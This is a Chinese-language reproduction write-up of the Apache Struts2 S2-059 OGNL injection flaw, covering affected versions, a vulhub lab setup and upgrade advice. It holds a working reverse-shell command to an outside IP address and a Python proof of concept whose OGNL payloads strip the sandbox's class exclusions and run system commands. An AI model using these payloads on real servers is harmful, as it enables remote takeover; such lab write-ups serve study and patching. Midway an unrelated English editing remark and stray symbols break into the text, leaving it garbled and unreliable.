0x00簡介
struts2 是 apache 軟件組織推出的一個相當強大的 Java web 開源框架,本質上相當于一個 servlet。struts2 基于 mvc 架構,框架結構清晰。通常作為控制器(controller)來建立模型與視圖的數據交互,用于創建企業級 java web 應用程序,它利用并延伸了java servlet api,鼓勵開發者采用mvc架構。struts2以webwork優秀的設計思想為核心,吸收了struts框架的部分優點,提供了一個更加整潔的mvc設計模式實現的web應用程序框架。
0x01漏洞概述
攻擊者可以通過構造惡意的OGNL表達式,并將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。
0x02影響范圍
Struts 2.0.0 – Struts 2.5.20
0x03環境搭建
1.本次漏洞環境使用vulhub快速搭建,vulhub下載地址如下:
https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-059
2.使用docker-compose快速構建靶場環境
docker-compose up -d
3.啟動完成后在瀏覽器訪問http://ip:8080/?id=1 就可以看到測試界面
0x04漏洞復現
1.在瀏覽器訪問http://ip:8080/?id=%25{88*88},可以發現執行的88*88成功被解析了,會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析。
2.使用poc來反彈shell,反彈shell的payload需要使用base64編碼
bash -i >& /dev/tcp/172.16.1.132/9967 0>&1
base64編碼網址:
The original sentence is already a complete sentence that is providing a link. if I were to rewrite it, it could be something like: Here is a link to a webpage containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.
@@######@@ |
3.修改poc中的payload為自己的payload,然后使用python運行,可以看到反彈了shell
0x05修復建議
1.升級到Struts 2.5.22或更高版本
2.?開啟ONGL表達式注入保護措施。
https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64編碼'))}" } res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2)